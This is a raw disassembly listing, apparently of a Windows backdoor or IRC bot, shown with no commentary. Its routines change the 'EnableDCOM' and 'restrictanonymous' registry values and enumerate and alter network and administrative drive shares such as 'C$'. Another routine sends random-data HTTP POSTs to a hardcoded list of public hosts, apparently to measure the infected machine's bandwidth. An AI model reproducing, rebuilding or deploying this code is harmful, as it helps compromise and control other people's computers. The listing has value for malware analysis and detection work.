call sub_419F76
push [ebp+arg_0]
call sub_40B6C9
add esp, 10h
push 1
nop
call near ptr 26F0000h
loc_41A107: ; CODE XREF: sub_419FFD+6Bj
call sub_419F0E
push offset unk_439CC0
push ebx
push dword_4D95C8
call sub_419F76
push [ebp+arg_0]
call sub_40B6C9
add esp, 10h
push edi
nop
call near ptr 26F0000h
loc_41A12F: ; CODE XREF: sub_419FFD+C3j
push offset unk_439C90
push ebx
push dword_4D95C8
call sub_419F76
push [ebp+arg_0]
call sub_40B6C9
add esp, 10h
push edi
nop
call near ptr 26F0000h
sub_419FFD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A152 proc near ; CODE XREF: sub_401AC7+2494p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_419F0E
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset dword_433EDC
push esi
call dword_4C93C0
test eax, eax
jz loc_41A24C
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_427114
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_41A24C
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_41A24C
mov edi, dword_427110
push 3
push esi
push esi
push offset dword_4D958C
call edi
push eax
push [ebp+var_8]
call edi
push eax
call near ptr 2740000h
nop
test eax, eax
jz short loc_41A24C
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41BD10
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41BD10
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43B4B8
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
nop
call near ptr 26603BDh
test eax, eax
jnz short loc_41A254
loc_41A24C: ; CODE XREF: sub_41A152+2Fj
; sub_41A152+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_41A302
; ---------------------------------------------------------------------------
loc_41A254: ; CODE XREF: sub_41A152+F8j
push [ebp+var_4]
mov edi, dword_427078
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4D9588, eax
mov eax, [ebp+var_8]
mov dword_4D9590, eax
mov eax, [ebp+var_2C]
mov dword_4D9584, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4D95C8, eax
jz short loc_41A28E
push [ebp+arg_4]
jmp short loc_41A28F
; ---------------------------------------------------------------------------
loc_41A28E: ; CODE XREF: sub_41A152+135j
push ebx
loc_41A28F: ; CODE XREF: sub_41A152+13Aj
push offset dword_4D9594
call sub_41C006
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_439D4C
call sub_40B3AD
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43C248[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_419FFD
push esi
push esi
nop
call near ptr 26805C5h
cmp eax, esi
mov dword_43C254[edi], eax
jnz short loc_41A300
call near ptr 2680DCDh
nop
push eax
lea eax, [ebp+var_378]
push offset unk_439D18
push eax
call sub_41C006
lea eax, [ebp+var_378]
push eax
call sub_415CEE
add esp, 10h
loc_41A300: ; CODE XREF: sub_41A152+185j
xor eax, eax
loc_41A302: ; CODE XREF: sub_41A152+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_41A152 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A307 proc near ; DATA XREF: sub_401AC7+2DD8o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_41A34E
call sub_41A367
jmp short loc_41A353
; ---------------------------------------------------------------------------
loc_41A34E: ; CODE XREF: sub_41A307+3Ej
call sub_41A68B
loc_41A353: ; CODE XREF: sub_41A307+45j
add esp, 10h
push [ebp+var_14]
call sub_40B6C9
pop ecx
push 0
call near ptr 26F0000h
nop
sub_41A307 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A367 proc near ; CODE XREF: sub_41A307+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4C93D4, edi
jnz loc_41A499
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4C9374
test eax, eax
jnz short loc_41A3F2
mov ax, word_438AC0
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4C9328
test eax, eax
jz short loc_41A3D4
push offset dword_439FE8
jmp short loc_41A3D9
; ---------------------------------------------------------------------------
loc_41A3D4: ; CODE XREF: sub_41A367+64j
push offset dword_439FC8
loc_41A3D9: ; CODE XREF: sub_41A367+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41C006
pop ecx
pop ecx
push [ebp+var_4]
call dword_4C92E0
jmp short loc_41A405
; ---------------------------------------------------------------------------
loc_41A3F2: ; CODE XREF: sub_41A367+36j
lea eax, [ebp+var_214]
push offset dword_439F98
push eax
call sub_41C006
pop ecx
pop ecx
loc_41A405: ; CODE XREF: sub_41A367+89j
cmp [ebp+arg_C], edi
jnz short loc_41A424
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
loc_41A424: ; CODE XREF: sub_41A367+A1j
lea eax, [ebp+var_214]
push eax
call sub_415CEE
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4C9374
test eax, eax
jnz short loc_41A492
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4C9328
test eax, eax
jz short loc_41A474
push offset dword_439F48
jmp short loc_41A479
; ---------------------------------------------------------------------------
loc_41A474: ; CODE XREF: sub_41A367+104j
push offset dword_439F14
loc_41A479: ; CODE XREF: sub_41A367+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41C006
pop ecx
pop ecx
push [ebp+var_4]
call dword_4C92E0
jmp short loc_41A4AC
; ---------------------------------------------------------------------------
loc_41A492: ; CODE XREF: sub_41A367+E2j
push offset dword_439ED8
jmp short loc_41A49E
; ---------------------------------------------------------------------------
loc_41A499: ; CODE XREF: sub_41A367+13j
push offset dword_439EA8
loc_41A49E: ; CODE XREF: sub_41A367+130j
lea eax, [ebp+var_214]
push eax
call sub_41C006
pop ecx
pop ecx
loc_41A4AC: ; CODE XREF: sub_41A367+129j
cmp [ebp+arg_C], edi
jnz short loc_41A4CB
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
loc_41A4CB: ; CODE XREF: sub_41A367+148j
lea eax, [ebp+var_214]
push eax
call sub_415CEE
cmp dword_4C93FC, edi
pop ecx
jnz loc_41A646
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A4EE: ; CODE XREF: sub_41A367+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4C9248
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A58B
cmp eax, 0EAh
jz short loc_41A58B
mov esi, offset off_439D70
loc_41A51F: ; CODE XREF: sub_41A367+21Dj
push dword ptr [esi]
push edi
call sub_419175
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A536
push offset dword_439E84
jmp short loc_41A53B
; ---------------------------------------------------------------------------
loc_41A536: ; CODE XREF: sub_41A367+1C6j
push offset dword_439E58
loc_41A53B: ; CODE XREF: sub_41A367+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C100
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A56E
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
loc_41A56E: ; CODE XREF: sub_41A367+1EBj
lea eax, [ebp+var_214]
push eax
call sub_415CEE
add esi, 8
pop ecx
cmp esi, offset dword_439D90
jl short loc_41A51F
jmp loc_41A623
; ---------------------------------------------------------------------------
loc_41A58B: ; CODE XREF: sub_41A367+1AAj
; sub_41A367+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A61A
loc_41A59A: ; CODE XREF: sub_41A367+2AFj
mov edi, [esi]
push edi
call sub_41DFB7
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A60F
push edi
call sub_419062
push eax
push 0
call sub_419175
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A5C9
push offset dword_439E34
jmp short loc_41A5CE
; ---------------------------------------------------------------------------
loc_41A5C9: ; CODE XREF: sub_41A367+259j
push offset dword_439E08
loc_41A5CE: ; CODE XREF: sub_41A367+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C100
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A602
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
loc_41A602: ; CODE XREF: sub_41A367+27Fj
lea eax, [ebp+var_214]
push eax
call sub_415CEE
pop ecx
loc_41A60F: ; CODE XREF: sub_41A367+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A59A
xor edi, edi
loc_41A61A: ; CODE XREF: sub_41A367+22Dj
push [ebp+var_8]
call dword_4C9394
loc_41A623: ; CODE XREF: sub_41A367+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A4EE
lea eax, [ebp+var_214]
push offset dword_439DE0
push eax
call sub_41C006
pop ecx
pop ecx
pop ebx
jmp short loc_41A659
; ---------------------------------------------------------------------------
loc_41A646: ; CODE XREF: sub_41A367+177j
lea eax, [ebp+var_214]
push offset dword_439DB0
push eax
call sub_41C006
pop ecx
pop ecx
loc_41A659: ; CODE XREF: sub_41A367+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A677
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
loc_41A677: ; CODE XREF: sub_41A367+2F5j
lea eax, [ebp+var_214]
push eax
call sub_415CEE
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_41A367 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A68B proc near ; CODE XREF: sub_41A307:loc_41A34Ep
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4C93D4, ebx
push esi
jnz loc_41A7B9
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4C9374
test eax, eax
jnz short loc_41A716
mov ax, word_438B04
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4C9328
test eax, eax
jz short loc_41A6F8
push offset dword_43A160
jmp short loc_41A6FD
; ---------------------------------------------------------------------------
loc_41A6F8: ; CODE XREF: sub_41A68B+64j
push offset dword_43A144
loc_41A6FD: ; CODE XREF: sub_41A68B+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41C006
pop ecx
pop ecx
push [ebp+var_4]
call dword_4C92E0
jmp short loc_41A729
; ---------------------------------------------------------------------------
loc_41A716: ; CODE XREF: sub_41A68B+36j
lea eax, [ebp+var_220]
push offset dword_439F98
push eax
call sub_41C006
pop ecx
pop ecx
loc_41A729: ; CODE XREF: sub_41A68B+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A748
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
loc_41A748: ; CODE XREF: sub_41A68B+A1j
lea eax, [ebp+var_220]
push eax
call sub_415CEE
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4C9374
test eax, eax
jnz short loc_41A7B2
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4C9328
test eax, eax
jz short loc_41A794
push offset dword_43A104
jmp short loc_41A799
; ---------------------------------------------------------------------------
loc_41A794: ; CODE XREF: sub_41A68B+100j
push offset dword_43A0CC
loc_41A799: ; CODE XREF: sub_41A68B+107j
lea eax, [ebp+var_220]
push eax
call sub_41C006
pop ecx
pop ecx
push [ebp+var_4]
call dword_4C92E0
jmp short loc_41A7CC
; ---------------------------------------------------------------------------
loc_41A7B2: ; CODE XREF: sub_41A68B+E2j
push offset dword_43A090
jmp short loc_41A7BE
; ---------------------------------------------------------------------------
loc_41A7B9: ; CODE XREF: sub_41A68B+13j
push offset dword_439EA8
loc_41A7BE: ; CODE XREF: sub_41A68B+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41C006
pop ecx
pop ecx
loc_41A7CC: ; CODE XREF: sub_41A68B+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A7EB
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
loc_41A7EB: ; CODE XREF: sub_41A68B+144j
lea eax, [ebp+var_220]
push eax
call sub_415CEE
cmp dword_4C93FC, ebx
pop ecx
jnz loc_41A95D
push edi
mov esi, offset off_439D70
mov edi, 200h
loc_41A80F: ; CODE XREF: sub_41A68B+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_4190C9
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A82A
push offset dword_43A070
jmp short loc_41A82F
; ---------------------------------------------------------------------------
loc_41A82A: ; CODE XREF: sub_41A68B+196j
push offset dword_43A048
loc_41A82F: ; CODE XREF: sub_41A68B+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C100
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A85E
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
loc_41A85E: ; CODE XREF: sub_41A68B+1B7j
lea eax, [ebp+var_220]
push eax
call sub_415CEE
add esi, 8
pop ecx
cmp esi, offset off_439D80
jl short loc_41A80F
nop
call near ptr 2850000h
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A945
loc_41A889: ; CODE XREF: sub_41A68B+2B4j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A93A
cmp bl, 41h
jz loc_41A93A
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41C100
push esi
push offset aC_0 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_41C100
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_4C9364
cmp eax, 3
jnz short loc_41A93A
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_4190C9
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41A8F8
push offset dword_43A070
jmp short loc_41A8FD
; ---------------------------------------------------------------------------
loc_41A8F8: ; CODE XREF: sub_41A68B+264j
push offset dword_43A048
loc_41A8FD: ; CODE XREF: sub_41A68B+26Bj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C100
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A92D
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
loc_41A92D: ; CODE XREF: sub_41A68B+286j
lea eax, [ebp+var_220]
push eax
call sub_415CEE
pop ecx
loc_41A93A: ; CODE XREF: sub_41A68B+206j
; sub_41A68B+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A889
loc_41A945: ; CODE XREF: sub_41A68B+1F8j
lea eax, [ebp+var_220]
push offset dword_43A018
push eax
call sub_41C006
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A970
; ---------------------------------------------------------------------------
loc_41A95D: ; CODE XREF: sub_41A68B+173j
lea eax, [ebp+var_220]
push offset dword_439DB0
push eax
call sub_41C006
pop ecx
pop ecx
loc_41A970: ; CODE XREF: sub_41A68B+2D0j
cmp [ebp+arg_C], ebx
jnz short loc_41A98E
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
loc_41A98E: ; CODE XREF: sub_41A68B+2E8j
lea eax, [ebp+var_220]
push eax
call sub_415CEE
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A68B endp
; =============== S U B R O U T I N E =======================================
sub_41A9A2 proc near ; CODE XREF: sub_41AB97+CBp
; sub_41AB97+DDp ...
arg_0 = dword ptr 4
nop
call near ptr 26A0729h
push eax
call sub_41C058
pop ecx
call sub_41C062
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41A9A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A9BC proc near ; CODE XREF: sub_41AB97+D4p
; sub_41AB97+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B960
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41AB93
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41BD10
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40A8E4
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41AB93
push 50h
call dword_4C9304
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4C9384
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41AB93
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4C92AC
cmp eax, 0FFFFFFFFh
jz loc_41AB93
push 32003h
call sub_41D735
mov edi, dword_4270B8
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi
push eax
call sub_41C058
call sub_41C062
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41BD10
push 32000h
push esi
push ebx
call sub_41BD10
push ebx
call sub_41B960
push 323EAh
mov ebx, eax
call sub_41D735
push ebx
mov esi, eax
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41C006
push [ebp+var_8]
push esi
call sub_41C630
push offset asc_4341E4 ; "\r\n"
push esi
call sub_41C630
add esp, 40h
push esi
call sub_41B960
mov ebx, eax
pop ecx
mov [ebp+var_10], ebx
call edi
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41AB13
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41AAE3
; ---------------------------------------------------------------------------
loc_41AAE0: ; CODE XREF: sub_41A9BC+155j
mov eax, [ebp+arg_0]
loc_41AAE3: ; CODE XREF: sub_41A9BC+122j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41AAF3
push [ebp+var_C]
jmp short loc_41AAF4
; ---------------------------------------------------------------------------
loc_41AAF3: ; CODE XREF: sub_41A9BC+130j
push ebx
loc_41AAF4: ; CODE XREF: sub_41A9BC+135j
add eax, esi
push eax
push [ebp+var_4]
call dword_4C9354
cmp eax, 0FFFFFFFFh
jz short loc_41AB7A
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41AAE0
loc_41AB13: ; CODE XREF: sub_41A9BC+118j
call edi
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_42770C
fst [ebp+arg_0]
fcomp flt_427708
fnstsw ax
sahf
jnz short loc_41AB3B
fld1
fstp [ebp+arg_0]
loc_41AB3B: ; CODE XREF: sub_41A9BC+178j
push [ebp+var_4]
call dword_4C939C
push [ebp+var_8]
call sub_41BA31
push esi
call sub_41BA31
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_427704
fmul flt_427700
call sub_41CF04
loc_41AB75: ; CODE XREF: sub_41A9BC+1D9j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41AB7A: ; CODE XREF: sub_41A9BC+147j
push [ebp+var_4]
call dword_4C939C
push [ebp+var_8]
call sub_41BA31
push esi
call sub_41BA31
pop ecx
pop ecx
loc_41AB93: ; CODE XREF: sub_41A9BC+19j
; sub_41A9BC+42j ...
xor eax, eax
jmp short loc_41AB75
sub_41A9BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB97 proc near ; CODE XREF: sub_401AC7+2E2Ep
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41A9A2
push [ebp+eax*4+var_3C]
call sub_41A9BC
push 8
mov esi, eax
call sub_41A9A2
push [ebp+eax*4+var_3C]
call sub_41A9BC
add esp, 10h
test esi, esi
jz short loc_41AC98
test eax, eax
jz short loc_41AC94
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41AC9A
; ---------------------------------------------------------------------------
loc_41AC94: ; CODE XREF: sub_41AB97+F4j
mov ebx, esi
jmp short loc_41AC9A
; ---------------------------------------------------------------------------
loc_41AC98: ; CODE XREF: sub_41AB97+F0j
mov ebx, eax
loc_41AC9A: ; CODE XREF: sub_41AB97+FBj
; sub_41AB97+FFj
push 0Ch
call sub_41A9A2
push [ebp+eax*4+var_6C]
call sub_41A9BC
push 0Ch
mov edi, eax
call sub_41A9A2
push [ebp+eax*4+var_6C]
call sub_41A9BC
add esp, 10h
test edi, edi
jz short loc_41ACD2
test eax, eax
jz short loc_41ACCE
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41ACD4
; ---------------------------------------------------------------------------
loc_41ACCE: ; CODE XREF: sub_41AB97+12Ej
mov esi, edi
jmp short loc_41ACD4
; ---------------------------------------------------------------------------
loc_41ACD2: ; CODE XREF: sub_41AB97+12Aj
mov esi, eax
loc_41ACD4: ; CODE XREF: sub_41AB97+135j
; sub_41AB97+139j
push 6
call sub_41A9A2
push [ebp+eax*4+var_1C]
call sub_41A9BC
push 6
mov edi, eax
call sub_41A9A2
push [ebp+eax*4+var_1C]
call sub_41A9BC
add esp, 10h
test edi, edi
jz short loc_41AD0C
test eax, eax
jz short loc_41AD08
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41AD0E
; ---------------------------------------------------------------------------
loc_41AD08: ; CODE XREF: sub_41AB97+168j
mov ecx, edi
jmp short loc_41AD0E
; ---------------------------------------------------------------------------
loc_41AD0C: ; CODE XREF: sub_41AB97+164j
mov ecx, eax
loc_41AD0E: ; CODE XREF: sub_41AB97+16Fj
; sub_41AB97+173j
xor eax, eax
test ebx, ebx
jz short loc_41AD1B
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41AD1E
; ---------------------------------------------------------------------------
loc_41AD1B: ; CODE XREF: sub_41AB97+17Bj
push 2
pop edi
loc_41AD1E: ; CODE XREF: sub_41AB97+182j
test esi, esi
jz short loc_41AD26
add eax, esi
jmp short loc_41AD27
; ---------------------------------------------------------------------------
loc_41AD26: ; CODE XREF: sub_41AB97+189j
dec edi
loc_41AD27: ; CODE XREF: sub_41AB97+18Dj
test ecx, ecx
jz short loc_41AD2F
add eax, ecx
jmp short loc_41AD30
